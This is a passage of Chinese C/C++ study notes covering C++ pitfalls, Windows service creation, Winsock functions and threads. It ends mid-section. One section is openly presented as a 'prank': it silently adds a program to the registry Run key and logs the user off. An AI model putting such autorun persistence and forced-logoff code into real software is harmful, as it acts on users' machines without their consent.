C/C++学习笔记

1C++c的优化:

2.一个对系统进行“恶作剧”的注册表应用程序段:

3. 对自己的程序服务进行提升:

4.预读功能影响媒体文件的删除:

5.网络编程用的基本函数:

6.获得本机的地址,机器名,IP……:

7.线程和进程:

8.程序的自动运行:

 

1C++c的优化:

(1) c++中我们提倡使用const char * const authorName = "Scott Meyers";这样的方式,对于指针我们要使指针本身常量化,也要使指针所指的变量常量化。这就是上面这样做的原因。

 

(2) 对于define所造成的混乱:

#define max(a,b) ((a) > (b) ? (a) : (b))

int a = 5, b = 0;

max(++a, b);// a 的值增加了2

max(++a, b+10); // a 的值只增加了1

内联函数解决了这个问题:

template<class T>

inline const T& max(const T& a, const T& b)

{ return a > b ? a : b; }

 

(3)  string *stringarray1 =static_cast<string*>(malloc(10 * sizeof(string)));

string *stringarray2 = new string[10];

其结果是,stringarray1确实指向的是可以容纳10string对象的足够空间,但内存里并没有创建这些对象。而且,如果你不从这种晦涩的语法怪圈(详见条款m4m8的描述)里跳出来的话,你没有办法来初始化数组里的对象。换句话说,stringarray1其实一点用也没有。相反,stringarray2指向的是一个包含10个完全构造好的string对象的数组,每个对象可以在任何读取string的操作里安全使用。

 

(4) newdeletemallocfree混在一起用也是个坏想法。对一个用new获取来的指针调用free,或者对一个用malloc获取来的指针调用delete,其后果是不可预测的。大家都知道“不可预测”的意思:它可能在开发阶段工作良好,在测试阶段工作良好,但也可能会最后在你最重要的客户的脸上爆炸。

 

(5) 如果你调用new时用了[],调用delete时也要用[]。如果调用new时没有用[],那调用delete时也不要用[]

 

2.一个对系统进行“恶作剧”的注册表应用程序段:

       //

       //

       UpdateData(true);

       HKEY hKey;

 

       //

       //     设置注册表中相关的路径

       //

       LPCTSTR data_Set = "SOFTWARE//Microsoft//Windows//CurrentVersion//Run//";

 

       //

       //     RegOpenKeyEx:的函数参数的设置,read方式没有进行出错检查,

       //     在下面可以看到出错检查

       //    

       DWORD   Souce_Data = 1024;

       LPBYTE  data_Set2  = new BYTE[100];

       DWORD   typeClient = REG_SZ;

       RegOpenKeyEx(HKEY_LOCAL_MACHINE, data_Set, 0, KEY_READ, &hKey);

 

       //

       //     查询当前的键值有没有存在,若存在讲不写注册表

       //

       long retSec =  (::RegQueryValueEx(hKey,

                                   "LTSMMSGL", NULL, &typeClient,  data_Set2, &Souce_Data));

      

       //

       //     假如ERROR_SUCCESS成立,即找到有这样的值,那么就不去执行下面的程序块

       //     若不成立,那么下面是如何去写一个自动执行的注册表实现

       //

 

       if (retSec != ERROR_SUCCESS)

       {

              //

              //     先关掉当前以KEY_READ方式打开的注册表

              //

              RegCloseKey(hKey);

              //

              //     打开注册表中的相应项

              //

              long ret0 = (::RegOpenKeyEx(HKEY_LOCAL_MACHINE, data_Set, 0, KEY_WRITE, &hKey));

              if(ret0 != ERROR_SUCCESS)

                     MessageBox("我靠!啥机子这么强!注册表也禁掉了?");

 

              //

              //     设置的键名

              //

              LPCTSTR title = "LTSMMSGL";

 

              //

              //     路径,反正接下来是注销,管它是不是分配的太多。

              //     取当前路径,并对路径进行更改

              //

              char name[3000];

              GetCurrentDirectory(3000, name);

 

              //

              //_getcwd(name, 1024);

              strcat(name, "//LTSMMSGL.EXE");

              int  strLen   = strlen(name);

              DWORD cbData  = (DWORD)strLen;

 

              //

              //

              //     char类型的数据转换为BYTE的格式

              //

              LPBYTE lpb = new BYTE[strLen + 1]; 

              for(int i = 0; i < strLen; i++)

                     lpb[i] = name[i];

              lpb[strLen] = 0;

 

              //

              //

              //将相关的信息写入注册表。

              //

              long ret1 = (::RegSetValueEx(hKey, title, NULL, REG_SZ, lpb, cbData));

              if (ret1 != ERROR_SUCCESS)//判断系统的相关注册是否成功?

                     MessageBox("不会吧!牛比……!");

       }

       RegCloseKey(hKey);

 

       //

       //     调用系统函数,对系统注销

       //

       BOOL ReStartON = FALSE;

       if (ReStartON == ExitWindowsEx(EWX_LOGOFF, NULL))

              MessageBox("不会吧,怎么回事啊,到底出现了什么问题,快重新启动啊,不然后果俺不负责!");

 

3. 对自己的程序服务进行提升:

Windows NTWindows 9x有一个非常重要的区别,即Windows NT提供了很多功能强大的Service(服务)。这些Service可以随着NT的启动而自启动,也可以让用户通过控制面板启动,还可以被Win32应用程序起停。甚至在没有用户登录系统的情况下,这些Service也能执行。许多FTPWWW服务器和数据库就是以Service的形式存在于NT上,从而实现了无人值守。就连最新版的“黑客”程序Back Orifice 2000也是以Service形式在NT上藏身的。由于Service的编程较复杂,许多开发者想开发自己的Service但往往都望而却步。鉴于此,下面我们就从头到尾来构造一个全新的Service,读者只要在程序中注明的地方加上自己的代码,那么就可以轻松拥有一个自己的Service。在编写Service之前,先介绍一下几个重要的函数:

     

(1). SC_HANDLE OpenSCManager( LPCTSTR lpMachineName,

        LPCTSTR lpDatabaseName,

        DWORD dwDesiredAccess)      

  ---- OpenSCManager 函数打开指定计算机上的service control manager database。其中参数lpMachineName指定计算机名,若为空则指定为本机。LpDatabaseName为指定要打开的service control manager database, 默认为空。dwDesiredAccess指定操作的权限, 可以为下面取值之一:       

l         SC_MANAGER_ALL_ACCESS //所有权限      

l         SC_MANAGER_CONNECT //允许连接到service control manager database      

l         SC_MANAGER_CREATE_SERVICE //允许创建服务对象并把它加入database      

l         SC_MANAGER_ENUMERATE_SERVICE //允许枚举database 中的Service      

l         SC_MANAGER_LOCK //允许锁住database       

l         SC_MANAGER_QUERY_LOCK_STATUS //允许查询database的封锁信息      

l         函数执行成功则返回一个指向service control manager database的句柄,失败则返回NULL。注意:WINNT通过一个名为service control manager database的数据库来管理所有的Service,因此对Service的任何操作都应打开此数据库。

(2). SC_HANDLE CreateService(SC_HANDLE hSCManager,

       LPCTSTR lpServiceName,

       LPCTSTR lpDisplayName, 

       DWORD dwDesiredAccess, 

       DWORD dwServiceType, 

       DWORD dwStartType, 

       DWORD dwErrorControl, 

       LPCTSTR lpBinaryPathName, 

       LPCTSTR lpLoadOrderGroup, 

       LPDWORD lpdwTagId, 

       LPCTSTR lpDependencies, 

       LPCTSTR lpServiceStartName, 

       LPCTSTR lpPassword)

 

  ---- CreatService函数产生一个新的SERVICE。参数说明

l         hSCManager为指向service control manager database 的句柄,由OpenSCManager返回。

l         LpServiceNameSERVICE的名字。

l         lpDisplayNameService显示用名。

l         dwDesiredAccess是访问权限,本程序中用SERVICE_ALL_ACCESS

l         wServiceType指明SERVICE类型,本程序中用SERVICE_WIN32_OWN_PROCESS| SERVICE_INTERACTIVE_PROCESS

l         dwStartTypeService启动方式,本程序采用自启动,即dwStartType等于SERVICE_AUTO_START

l         dwErrorControl说明当Service在启动中出错时采取什么动作,本程序采用SERVICE_ERROR_IGNORE即忽约错误,读者可以改为其他的。

l         LpBinaryPathName指明Service本体程序的路径名。剩下的五个参数一般可设为NULL。如函数调用成功则返回这个新Service的句柄,失败则返回NULL。与此函数对应的是DeleteService( hService),它删除指定的Service

(3). SC_HANDLE OpenService(SC_HANDLE hSCManager,

       LPCTSTR lpServiceName,

       DWORD dwDesiredAccess )      

  ---- OpenService函数打开指定的Service。参数说明:

l         hSCManager为指向service control manager database 的句柄,由OpenSCManager返回。

l         LpServiceNameService的名字,dwDesiredAccess是访问权限,其可选值比较多,读者可以参看SDK Help. 函数调用成功则返回打开的Service句柄,失败则返回NULL

(4). BOOL StartService( SC_HANDLE hService,

       DWORD dwNumServiceArgs,

       LPCTSTR *lpServiceArgVectors )      

  ---- StartService函数启动指定的Service。参数说明:

l         hService 为指向Service的句柄,由OpenService返回。

l         dwNumServiceAr为启动服务所需的参数的个数。

l         lpszServiceArgs 服务所需的参数。函数执行成功则返回True, 失败则返回False

(5). BOOL ControlService(SC_HANDLE hService,

       DWORD dwControl,

       LPSERVICE_STATUS lpServiceStatus )      

  ---- Service程序没有专门的停止函数,而是用ControlService函数来控制Service的暂停、继续、停止等操作。

  ---- dwControl指定发出的控制命令,可以为以下几个值:

l         SERVICE_CONTROL_STOP //停止Service

l         SERVICE_CONTROL_PAUSE //暂停Service

l         SERVICE_CONTROL_CONTINUE  //继续Service

l         SERVICE_CONTROL_INTERROGATE //查询Service的状态

l         SERVICE_CONTROL_SHUTDOWN  //ControlService调用失效

  ---- 参数lpServiceStatus是一个指向SERVICE_STATUS的指针。SERVICE_STATUS是一个比较重要的结构,它包含了Service的各种信息,如当前状态、可接受何种控制命令等等。

 

(6). BOOL QueryServiceStatus( SC_HANDLE hService,

       LPSERVICE_STATUS lpServiceStatus )      

  ---- QueryServiceStatus函数比较简单,它查询并返回当前Service的状态。      

  ---- 编制一个Service一般需要两个程序,一个是Service本体,一个是用于对Service进行控制的控制程序。通常Service本体是一个console程序,而控制程序则是一个普通的Win32应用程序(当然,用户不用控制程序而通过控制面板也可对Service进行启、停,但不能进行添加、删除操作。)

首先,我们来编写Service本体。对于Service本体来说,它一般又由以下三部分组成:main()ServiceMain()、Handler()(注:由于篇幅的关系,大部分程序都没进行错误处理,读者可以自己添上)。

    ---- main()Service的主线程。当servie control manager开始一个Service进程时,它总是等待这个Service去调用StartServiceCtrlDispatcher()函数。main( )作为这个进程的主线程应该在程序开始后尽快调用StartServiceCtrlDispatcher()。StartServiceCtrlDispatcher()在被调用后并不立即返回,它把本Service的主线程连接到service control manager,从而让service control manager通过这个连接发送开始、停止等控制命令给主线程。主线程在这时就扮演了一个命令的转发器的角色,它或者调用Handle( )去处理停止、继续等控制要求,或者产生一个新线程去执行ServiceMainStartServiceCtrlDispatcher()在整个Service结束时才返回。下面是main()的源代码:

int main(int argc, char **argv)

{

   SERVICE_TABLE_ENTRY ste[2];

   //一个Service进程可以有多个线程,这是每个线程的入口表

   ste[0].lpServiceName="W.Z.SERVICE";  //线程名字

   ste[0].lpServiceProc=ServiceMain;

 

   //线程入口地址

   ste [1] .lpServiceName=NULL;

 

   //最后一个必须为NULL

   ste [1] .lpServiceProc=NULL;    

   StartServiceCtrlDispatcher(ste);

 

   return 0;

}

     

  ---- ServiceMain()是Service真正的入口点,必须在main()中进行了正确的定义。ServiceMain( )的两个参数是由StartService()传递过来的。下面是ServiceMain()的源代码:

void WINAPI ServiceMain(DWORD dwArgc,LPTSTR *lpszArgv)

{

   ssh=RegisterServiceCtrlHandler("W.Z.SERVICE",Handler);

   ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS;

   ss.dwCurrentState=SERVICE_START_PENDING;

   //如用户程序的代码比较多(执行时间超过1秒),这儿要设成SERVICE_START_PENDING,待用户程序完成后再设为SERVICE_RUNNING

   ss.dwControlsAccepted=SERVICE_ACCEPT_STOP;  //表明Service目前能接受的命令是停止命令。

   ss.dwWin32ExitCode=NO_ERROR;

   ss.dwCheckPoint=0;

   ss.dwWaitHint=0;

   SetServiceStatus(ssh, &ss);

   //必须随时更新数据库中Service的状态。

   Mycode();     //这儿可放入用户自己的代码

   ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS;

   ss.dwCurrentState=SERVICE_RUNNING;

   ss.dwControlsAccepted=SERVICE_ACCEPT_STOP;

   ss.dwWin32ExitCode=NO_ERROR;

   ss.dwCheckPoint=0;

   ss.dwWaitHint=0;

   SetServiceStatus(ssh,&ss);

   Mycode();// 这儿也可放入用户自己的代码

}

 

 

ServiceMain()中应该立即调用RegisterServiceCtrlHandler()注册一个Handler去处理控制程序或控制面板对Service的控制要求。Handler()被转发器调用去处理要求,下面是Handler()的源代码:

void WINAPI Handler(DWORD Opcode)

{

   switch(Opcode)

   {

      case SERVICE_CONTROL_STOP:  //停止Service

         Mycode();//这儿可放入用户自己的相关代码

         ss.dwWin32ExitCode = 0;

         ss.dwCurrentState  =SERVICE_STOPPED;

         //Service的当前状态置为STOP

         ss.dwCheckPoint    = 0;

         ss.dwWaitHint      = 0;

         SetServiceStatus (ssh,&ss);

         /必须随时更新数据库中Service的状态

           break;

    case SERVICE_CONTROL_INTERROGATE:

         SetServiceStatus (ssh,&ss);

         //必须随时更新数据库中Service的状态

         break;

   }

}

 

 

  ----好了,Service本体程序已基本完成,我们接着来看一下Service的控制程序。控制程序是一个标准的window程序,上面主要有四个按纽:Create ServiceDelete Servicestartstop,分别用来产生、删除、开始和停止Service。下面是它们的部分源代码:

1. Create Service 代码如下:

void __fastcall TForm1::CreateBtnClick(TObject *Sender)

{

   scm=OpenSCManager(NULL,NULL,

   SC_MANAGER_CREATE_SERVICE);

   if (scm!=NULL){

   svc=CreateService(scm, "W.Z.SERVICE", "W.Z.SERVICE",    //Service名字

      SERVICE_ALL_ACCESS,

      SERVICE_WIN32_OWN_PROCESS |SERVICE_INTERACTIVE_PROCESS,

      SERVICE_AUTO_START,        //以自动方式开始

      SERVICE_ERROR_IGNORE,

      "C://ntservice.exe", //Service本体程序路径,必须与具体位置相符

      NULL,NULL,NULL,NULL,NULL);

   if (svc!=NULL)

      CloseServiceHandle(svc);

   CloseServiceHandle(scm);

    }

}

 

Delete Service 代码如下:

void __fastcall TForm1::DeleteBtnClick(TObject *Sender)

{

   scm=OpenSCManager(NULL,NULL,

   SC_MANAGER_CONNECT);

   if (scm!=NULL){

      svc=OpenService(scm,"W.Z.SERVICE", SERVICE_ALL_ACCESS);

      if (svc!=NULL){

         QueryServiceStatus(svc,&ServiceStatus);

         if (ServiceStatus.dwCurrentState==SERVICE_RUNNING)//删除前,先停止此Service.

            ControlService(svc,SERVICE_CONTROL_STOP,&ServiceStatus);

         DeleteService(svc);

         CloseServiceHandle(svc);    //删除Service后,最好再调用CloseServiceHandle

      }

 

      //以便立即从数据库中移走此条目。

      CloseServiceHandle(scm);

    }

}

 

Start Service代码如下:

void __fastcall TForm1::StartBtnClick(TObject *Sender)

{

    scm=OpenSCManager(NULL,NULL,SC_MANAGER_CONNECT);

    if (scm!=NULL){

        svc=OpenService(scm,"W.Z.SERVICE",SERVICE_START);

        if (svc!=NULL){

            StartService(svc,0,NULL);//开始Service

            CloseServiceHandle(svc);

        }

        CloseServiceHandle(scm);

    }

}

 

Stop Service代码如下:

void __fastcall TForm1::StopBtnClick

(TObject *Sender)

{

    scm=OpenSCManager(NULL,NULL, SC_MANAGER_ALL_ACCESS);

    if (scm!=NULL){

        svc=OpenService(scm,"W.Z.SERVICE", SERVICE_STOP|SERVICE_QUERY_STATUS);

        if (svc!=NULL){

            QueryServiceStatus(svc,&ServiceStatus);

            if (ServiceStatus.dwCurrentState==SERVICE_RUNNING)

                ControlService(svc,SERVICE_CONTROL_STOP,&ServiceStatus);

            CloseServiceHandle(svc);

        }

        CloseServiceHandle(scm);

    }

}

 

4.预读功能影响媒体文件的删除:

预读机制:某些媒体播放中断或正在预览时会造成无法删除。在“运行”框中输入:REGSVR32 /U SHMEDIA.DLL,注销掉预读功能。或删除注册表中下面这个键值:[HKEY_LOCAL_MACHINE/SOFTWARE/Classes/CLSID/{87D62D94-71B3-4b 9a -9489-5FE6850DC73E}/InProcServer32]

 

5.网络编程用的基本函数:

本文所谈到的Socket函数如果没有特别说明,都是指的Windows Socket API

一、WSAStartup函数

int WSAStartup(

    WORD wVersionRequested,

    LPWSADATA lpWSAData

);

使用Socket的程序在使用Socket之前必须调用WSAStartup函数。该函数的第一个参数指明程序请求使用的Socket版本,其中高位字节指明副版本、低位字节指明主版本;操作系统利用第二个参数返回请求的Socket的版本信息。当一个应用程序调用WSAStartup函数时,操作系统根据请求的Socket版本来搜索相应的Socket库,然后绑定找到的Socket库到该应用程序中。以后应用程序就可以调用所请求的Socket库中的其它Socket函数了。该函数执行成功后返回0

例:假如一个程序要使用2.1版本的Socket,那么程序代码如下:

wVersionRequested = MAKEWORD( 2, 1 );

err = WSAStartup( wVersionRequested, &wsaData );

 

二、WSACleanup函数

int WSACleanup (void);

  应用程序在完成对请求的Socket库的使用后,要调用WSACleanup函数来解除与Socket库的绑定并且释放Socket库所占用的系统资源。

 

三、socket函数

SOCKET socket(

    int af,

    int type,

    int protocol

);

  应用程序调用socket函数来创建一个能够进行网络通信的套接字。第一个参数指定应用程序使用的通信协议的协议族,对于TCP/IP协议族,该参数置PF_INET;第二个参数指定要创建的套接字类型,流套接字类型为SOCK_STREAM、数据报套接字类型为SOCK_DGRAM;第三个参数指定应用程序所使用的通信协议。

  该函数如果调用成功就返回新创建的套接字的描述符,如果失败就返回INVALID_SOCKET。套接字描述符是一个整数类型的值。每个进程的进程空间里都有一个套接字描述符表,该表中存放着套接字描述符和套接字数据结构的对应关系。该表中有一个字段存放新创建的套接字的描述符,另一个字段存放套接字数据结构的地址,因此根据套接字描述符就可以找到其对应的套接字数据结构。每个进程在自己的进程空间里都有一个套接字描述符表但是套接字数据结构都是在操作系统的内核缓冲里。下面是一个创建流套接字的例子:

struct protoent *ppe;

ppe=getprotobyname("tcp");

SOCKET ListenSocket=socket(PF_INET,SOCK_STREAM,ppe->p_proto);

 

四、closesocket函数

int closesocket(

    SOCKET s

);

closesocket函数用来关闭一个描述符为s套接字。由于每个进程中都有一个套接字描述符表,表中的每个套接字描述符都对应了一个位于操作系统缓冲区中的套接字数据结构,因此有可能有几个套接字描述符指向同一个套接字数据结构。套接字数据结构中专门有一个字段存放该结构的被引用次数,即有多少个套接字描述符指向该结构。当调用closesocket函数时,操作系统先检查套接字数据结构中的该字段的值,如果为1,就表明只有一个套接字描述符指向它,因此操作系统就先把s在套接字描述符表中对应的那条表项清除,并且释放s对应的套接字数据结构;如果该字段大于1,那么操作系统仅仅清除s在套接字描述符表中的对应表项,并且把s对应的套接字数据结构的引用次数减1 closesocket函数如果执行成功就返回0,否则返回SOCKET_ERROR

 

五、send函数

int send(

    SOCKET s,

    const char FAR *buf,

    int len,

    int flags

);

不论是客户还是服务器应用程序都用send函数来向TCP连接的另一端发送数据。客户程序一般用send函数向服务器发送请求,而服务器则通常用send函数来向客户程序发送应答。该函数的第一个参数指定发送端套接字描述符;第二个参数指明一个存放应用程序要发送数据的缓冲区;第三个参数指明实际要发送的数据的字节数;第四个参数一般置0。这里只描述同步Socketsend函数的执行流程。当调用该函数时,send先比较待发送数据的长度len和套接字s的发送缓冲区的长度,如果len大于s的发送缓冲区的长度,该函数返回SOCKET_ERROR;如果len小于或者等于s的发送缓冲区的长度,那么send先检查协议是否正在发送s的发送缓冲中的数据,如果是就等待协议把数据发送完,如果协议还没有开始发送s的发送缓冲中的数据或者s的发送缓冲中没有数据,那么send就比较s的发送缓冲区的剩余空间和len,如果len大于剩余空间大小send就一直等待协议把s的发送缓冲中的数据发送完,如果len小于剩余空间大小send就仅仅把buf中的数据copy到剩余空间里(注意并不是sends的发送缓冲中的数据传到连接的另一端的,而是协议传的,send仅仅是把buf中的数据copys的发送缓冲区的剩余空间里)。如果send函数copy数据成功,就返回实际copy的字节数,如果sendcopy数据时出现错误,那么send就返回SOCKET_ERROR;如果send在等待协议传送数据时网络断开的话,那么send函数也返回SOCKET_ERROR。要注意send函数把buf中的数据成功copys的发送缓冲的剩余空间里后它就返回了,但是此时这些数据并不一定马上被传到连接的另一端。如果协议在后续的传送过程中出现网络错误的话,那么下一个Socket函数就会返回SOCKET_ERROR。(每一个除send外的Socket函数在执行的最开始总要先等待套接字的发送缓冲中的数据被协议传送完毕才能继续,如果在等待时出现网络错误,那么该Socket函数就返回SOCKET_ERROR

注意:在Unix系统下,如果send在等待协议传送数据时网络断开的话,调用send的进程会接收到一个SIGPIPE信号,进程对该信号的默认处理是进程终止。

 

六、recv函数

int recv(

    SOCKET s,

    char FAR *buf,

    int len,

    int flags

);

不论是客户还是服务器应用程序都用recv函数从TCP连接的另一端接收数据。该函数的第一个参数指定接收端套接字描述符;第二个参数指明一个缓冲区,该缓冲区用来存放recv函数接收到的数据;第三个参数指明buf的长度;第四个参数一般置0。这里只描述同步Socketrecv函数的执行流程。当应用程序调用recv函数时,recv先等待s的发送缓冲中的数据被协议传送完毕,如果协议在传送s的发送缓冲中的数据时出现网络错误,那么recv函数返回SOCKET_ERROR,如果s的发送缓冲中没有数据或者数据被协议成功发送完毕后,recv先检查套接字s的接收缓冲区,如果s接收缓冲区中没有数据或者协议正在接收数据,那么recv就一直等待,只到协议把数据接收完毕。当协议把数据接收完毕,recv函数就把s的接收缓冲中的数据copybuf中(注意协议接收到的数据可能大于buf的长度,所以在这种情况下要调用几次recv函数才能把s的接收缓冲中的数据copy完。recv函数仅仅是copy数据,真正的接收数据是协议来完成的),recv函数返回其实际copy的字节数。如果recvcopy时出错,那么它返回SOCKET_ERROR;如果recv函数在等待协议接收数据时网络中断了,那么它返回0

注意:在Unix系统下,如果recv函数在等待协议接收数据时网络断开了,那么调用recv的进程会接收到一个SIGPIPE信号,进程对该信号的默认处理是进程终止。

 

七、bind函数

int bind(

    SOCKET s,

    const struct sockaddr FAR *name,

    int namelen

);

当创建了一个Socket以后,套接字数据结构中有一个默认的IP地址和默认的端口号。一个服务程序必须调用bind函数来给其绑定一个IP地址和一个特定的端口号。客户程序一般不必调用bind函数来为其Socket绑定IP地址和断口号。该函数的第一个参数指定待绑定的Socket描述符;第二个参数指定一个sockaddr结构,该结构是这样定义的:

struct sockaddr {

    u_short sa_family;

    char sa_data[14];

};

sa_family指定地址族,对于TCP/IP协议族的套接字,给其置AF_INET。当对TCP/IP协议族的套接字进行绑定时,我们通常使用另一个地址结构:

struct sockaddr_in {

    short sin_family;

    u_short sin_port;

    struct in_addr sin_addr;

    char sin_zero[8];

};

其中sin_familyAF_INETsin_port指明端口号;sin_addr结构体中只有一个唯一的字段s_addr,表示IP地址,该字段是一个整数,一般用函数inet_addr()把字符串形式的IP地址转换成unsigned long型的整数值后再置给s_addr。有的服务器是多宿主机,至少有两个网卡,那么运行在这样的服务器上的服务程序在为其Socket绑定IP地址时可以把htonl(INADDR_ANY)置给s_addr,这样做的好处是不论哪个网段上的客户程序都能与该服务程序通信;如果只给运行在多宿主机上的服务程序的Socket绑定一个固定的IP地址,那么就只有与该IP地址处于同一个网段上的客户程序才能与该服务程序通信。我们用0来填充sin_zero数组,目的是让sockaddr_in结构的大小与sockaddr结构的大小一致。

下面是一个bind函数调用的例子:

struct sockaddr_in saddr

saddr.sin_family = AF_INET;

saddr.sin_port = htons(8888);

saddr.sin_addr.s_addr = htonl(INADDR_ANY);

bind(ListenSocket,(struct sockaddr *)&saddr,sizeof(saddr))

 

八、listen函数

int listen( SOCKET s, int backlog );

服务程序可以调用listen函数使其流套接字s处于监听状态。处于监听状态的流套接字s将维护一个客户连接请求队列,该队列最多容纳backlog个客户连接请求。假如该函数执行成功,则返回0;如果执行失败,则返回SOCKET_ERROR

 

九、accept函数

SOCKET accept(

    SOCKET s,

    struct sockaddr FAR *addr,

    int FAR *addrlen

);

服务程序调用accept函数从处于监听状态的流套接字s的客户连接请求队列中取出排在最前的一个客户请求,并且创建一个新的套接字来与客户套接字创建连接通道,如果连接成功,就返回新创建的套接字的描述符,以后与客户套接字交换数据的是新创建的套接字;如果失败就返回INVALID_SOCKET。该函数的第一个参数指定处于监听状态的流套接字;操作系统利用第二个参数来返回新创建的套接字的地址结构;操作系统利用第三个参数来返回新创建的套接字的地址结构的长度。

下面是一个调用accept的例子:

struct sockaddr_in ServerSocketAddr;

int addrlen;

addrlen=sizeof(ServerSocketAddr);

ServerSocket=accept(ListenSocket,(struct sockaddr *)&ServerSocketAddr,&addrlen);

 

十、connect函数

int connect(

    SOCKET s,

    const struct sockaddr FAR *name,

    int namelen

);

客户程序调用connect函数来使客户Socket s与监听于name所指定的计算机的特定端口上的服务Socket进行连接。如果连接成功,connect返回0;如果失败则返回SOCKET_ERROR。下面是一个例子:

struct sockaddr_in daddr;

memset((void *)&daddr,0,sizeof(daddr));

daddr.sin_family=AF_INET;

daddr.sin_port=htons(8888);

daddr.sin_addr.s_addr=inet_addr("133.197.22.4");

connect(ClientSocket,(struct sockaddr *)&daddr,sizeof(daddr))

 

 

6.获得本机的地址,机器名,IP……:

#include <winsock.h>

#include <wsipx.h>

#include <wsnwlink.h>

#include <stdio.h>

 

int main()

{

      

       // 初始化 Windows sockets API. 要求版本为 version 1.1

       //

       WORD wVersionRequested = MAKEWORD(1, 1);

       WSADATA wsaData;

       if (WSAStartup(wVersionRequested, &wsaData)) {

              printf("WSAStartup failed %s/n", WSAGetLastError());

              return -1;

       }      

 

       //

       // 获得主机名.

       //

       char hostname[256];

       int res = gethostname(hostname, sizeof(hostname));

       if (res != 0) {

              printf("Error: %u/n", WSAGetLastError());

              return -1;

       }

       printf("hostname=%s/n", hostname);

      

 

       // 根据主机名获取主机信息.

       //

       hostent* pHostent = gethostbyname(hostname);

       if (pHostent==NULL) {

              printf("Error: %u/n", WSAGetLastError());

              return -1;

       }

 

       //

       // 解析返回的hostent信息.

       //

 

       hostent& he = *pHostent;

       printf("name=%s/naliases=%s/naddrtype=%d/nlength=%d/n",

              he.h_name, he.h_aliases, he.h_addrtype, he.h_length);

       sockaddr_in sa;

       for (int nAdapter=0; he.h_addr_list[nAdapter]; nAdapter++) {

              memcpy ( &sa.sin_addr.s_addr, he.h_addr_list[nAdapter],he.h_length);

              // 输出机器的IP地址.

              printf("Address: %s/n", inet_ntoa(sa.sin_addr)); // 显示地址串

       }

 

       //

       // 终止 Windows sockets API

       //

       WSACleanup();

       return 0;

} 

 

7.线程和进程:

  [前言:]当前流行的Windows操作系统,它能同时运行几个程序(独立运行的程序又称之为进程),对于同一个程序,它又可以分成若干个独立的执行流,我们称之为线程,线程提供了多任务处理的能力。用进程和线程的观点来研究软件是当今普遍采用的方法,进程和线程的概念的出现,对提高软件的并行性有着重要的意义。现在的应用软件无一不是多线程多任务处理,单线城的软件是不可想象的。因此掌握多线程多任务设计方法对每个程序员都是必需要掌握的。本文针对多线程技术在应用中经常遇到的问题,如线程间的通信、同步等,对它们分别进行探讨。

 

一、 理解线程

  要讲解线程,不得不说一下进程,进程是应用程序的执行实例,每个进程是由私有的虚拟地址空间、代码、数据和其它系统资源组成。进程在运行时创建的资源随着进程的终止而死亡。线程的基本思想很简单,它是一个独立的执行流,是进程内部的一个独立的执行单元,相当于一个子程序,它对应Visual C++中的CwinThread类的对象。单独一个执行程序运行时,缺省的运行包含的一个主线程,主线程以函数地址的形式,如mainWinMain函数,提供程序的启动点,当主线程终止时,进程也随之终止,但根据需要,应用程序又可以分解成许多独立执行的线程,每个线程并行的运行在同一进程中。

  一个进程中的所有线程都在该进程的虚拟地址空间中,使用该进程的全局变量和系统资源。操作系统给每个线程分配不同的CPU时间片,在某一个时刻,CPU只执行一个时间片内的线程,多个时间片中的相应线程在CPU内轮流执行,由于每个时间片时间很短,所以对用户来说,仿佛各个线程在计算机中是并行处理的。操作系统是根据线程的优先级来安排CPU的时间,优先级高的线程优先运行,优先级低的线程则继续等待。

  线程被分为两种:用户界面线程和工作线程(又称为后台线程)。用户界面线程通常用来处理用户的输入并响应各种事件和消息,其实,应用程序的主执行线程CWinAPP对象就是一个用户界面线程,当应用程序启动时自动创建和启动,同样它的终止也意味着该程序的结束,进城终止。工作者线程用来执行程序的后台处理任务,比如计算、调度、对串口的读写操作等,它和用户界面线程的区别是它不用从CwinThread类派生来创建,对它来说最重要的是如何实现工作线程任务的运行控制函数。工作线程和用户界面线程启动时要调用同一个函数的不同版本;最后需要读者明白的是,一个进程中的所有线程共享它们父进程的变量,但同时每个线程可以拥有自己的变量。

 

二、 线程的管理和操作

  1 线程的启动

  创建一个用户界面线程,首先要从类CwinThread产生一个派生类,同时必须使用DECLARE_DYNCREATEIMPLEMENT_DYNCREATE来声明和实现这个CwinThread派生类。

  第二步是根据需要重载该派生类的一些成员函数如:ExitInstance()InitInstance()OnIdle();PreTranslateMessage()等函数,最后启动该用户界面线程,调用AfxBeginThread()函数的一个版本:CWinThread* AfxBeginThread( CRuntimeClass* pThreadClass, int nPriority = THREAD_PRIORITY_NORMAL, UINT nStackSize = 0, DWORD dwCreateFlags = 0, LPSECURITY_ATTRIBUTES lpSecurityAttrs = NULL );其中第一个参数为指向定义的用户界面线程类指针变量,第二个参数为线程的优先级,第三个参数为线程所对应的堆栈大小,第四个参数为线程创建时的附加标志,缺省为正常状态,如为CREATE_SUSPENDED则线程启动后为挂起状态。

  对于工作线程来说,启动一个线程,首先需要编写一个希望与应用程序的其余部分并行运行的函数如Fun1(),接着定义一个指向CwinThread对象的指针变量*pThread,调用AfxBeginThread(Fun1,param,priority)函数,返回值付给pThread变量的同时一并启动该线程来执行上面的Fun1()函数,其中Fun1是线程要运行的函数的名字,也既是上面所说的控制函数的名字,param是准备传送给线程函数Fun1的任意32位值,priority则是定义该线程的优先级别,它是预定义的常数,读者可参考MSDN

  2.线程的优先级

  以下的CwinThread类的成员函数用于线程优先级的操作:

int GetThreadPriority();

BOOL SetThradPriority()(int nPriority);

上述的二个函数分别用来获取和设置线程的优先级,这里的优先级,是相对于该线程所处的优先权层次而言的,处于同一优先权层次的线程,优先级高的线程先运行;处于不同优先权层次上的线程,谁的优先权层次高,谁先运行。至于优先级设置所需的常数,自己参考MSDN就可以了,要注意的是要想设置线程的优先级,这个线程在创建时必须具有THREAD_SET_INFORMATION访问权限。对于线程的优先权层次的设置,CwinThread类没有提供相应的函数,但是可以通过Win32 SDK函数GetPriorityClass()SetPriorityClass()来实现。

  3.线程的悬挂、恢复

  CwinThread类中包含了应用程序悬挂和恢复它所创建的线程的函数,其中SuspendThread()用来悬挂线程,暂停线程的执行;ResumeThread()用来恢复线程的执行。如果你对一个线程连续若干次执行SuspendThread(),则需要连续执行相应次的ResumeThread()来恢复线程的运行。

 

  4.结束线程

